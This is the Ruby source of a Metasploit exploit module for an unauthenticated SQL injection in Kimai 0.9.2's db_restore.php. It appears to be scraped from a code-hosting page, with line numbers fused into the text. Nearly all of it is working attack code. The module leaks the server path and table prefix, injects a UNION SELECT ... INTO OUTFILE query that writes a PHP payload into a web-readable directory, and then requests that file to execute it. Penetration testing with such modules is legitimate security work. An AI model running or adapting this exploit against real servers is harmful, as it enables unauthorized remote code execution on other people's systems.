Path: blob/master/modules/exploits/unix/webapp/kimai_sqli.rb
24433 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",16'Description' => %q{17This module exploits a SQL injection vulnerability in Kimai version180.9.2.x. The 'db_restore.php' file allows unauthenticated users to19execute arbitrary SQL queries. This module writes a PHP payload to20disk if the following conditions are met: The PHP configuration must21have 'display_errors' enabled, Kimai must be configured to use a22MySQL database running on localhost; and the MySQL user must have23write permission to the Kimai 'temporary' directory.24},25'License' => MSF_LICENSE,26'Author' => [27'drone', # Discovery and PoC28'bcoles' # Metasploit module29],30'References' => [31['CVE', '2013-10033'],32['EDB', '25606'],33['OSVDB', '93547'],34],35'Payload' => {36'Space' => 8000, # HTTP POST37'DisableNops' => true,38'BadChars' => "\x00\x0a\x0d\x27"39},40'Arch' => ARCH_PHP,41'Platform' => 'php',42'Targets' => [43# Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-344[ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]45],46'Privileged' => false,47'DisclosureDate' => '2013-05-21',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),60OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),61OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])62]63)64end6566#67# Checks if target is Kimai version 0.9.2.x68#69def check70vprint_status("Checking version...")71res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })72if not res73vprint_error("Request timed out")74return Exploit::CheckCode::Unknown75elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/76version = "#{$1}"77print_good("Found version: #{version}")78if version >= "0.9.2" and version <= "0.9.2.1306"79return Exploit::CheckCode::Appears80end81end82return Exploit::CheckCode::Safe83end8485def exploit86# Get file system path87print_status("Retrieving file system path...")88res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })89if not res90fail_with(Failure::Unknown, "#{peer} - Request timed out")91elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/92path = "#{$1}"93print_good("Found file system path: #{path}")94else95path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)96print_warning("Could not retrieve file system path. Assuming '#{path}'")97end9899# Get MySQL table name prefix from temporary/logfile.txt100print_status("Retrieving MySQL table name prefix...")101res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })102if not res103fail_with(Failure::Unknown, "#{peer} - Request timed out")104elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)105table_prefix = "#{prefixes.flatten.last}"106print_good("Found table name prefix: #{table_prefix}")107else108table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)109print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")110end111112# Create a backup ID113print_status("Creating a backup to get a valid backup ID...")114res = send_request_cgi({115'method' => 'POST',116'uri' => normalize_uri(target_uri.path, 'db_restore.php'),117'vars_post' => {118'submit' => 'create backup'119}120})121if not res122fail_with(Failure::Unknown, "#{peer} - Request timed out")123elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)124id = "#{backup_ids.flatten.last}"125print_good("Found backup ID: #{id}")126else127fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")128end129130# Write PHP payload to disk using MySQL injection 'into outfile'131fname = "#{rand_text_alphanumeric(rand(10) + 10)}.php"132sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "133print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")134res = send_request_cgi({135'method' => 'POST',136'uri' => normalize_uri(target_uri.path, 'db_restore.php'),137'vars_post' => Hash[{138'submit' => 'recover',139'dates[]' => sqli140}.to_a.shuffle]141})142if not res143fail_with(Failure::Unknown, "#{peer} - Request timed out")144elsif res.code == 200145print_good("Payload sent successfully")146register_files_for_cleanup(fname)147else148print_error("Sending payload failed. Received HTTP code: #{res.code}")149end150151# Remove the backup152print_status("Removing the backup...")153res = send_request_cgi({154'method' => 'POST',155'uri' => normalize_uri(target_uri.path, 'db_restore.php'),156'vars_post' => Hash[{157'submit' => 'delete',158'dates[]' => "#{id}"159}.to_a.shuffle]160})161if not res162print_warning("Request timed out")163elsif res.code == 302 and res.body !~ /#{id}/164vprint_good("Deleted backup with ID '#{id}'")165else166print_warning("Could not remove backup with ID '#{id}'")167end168169# Execute payload170print_status("Retrieving file '#{fname}'...")171res = send_request_raw({172'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")173}, 5)174end175end176177178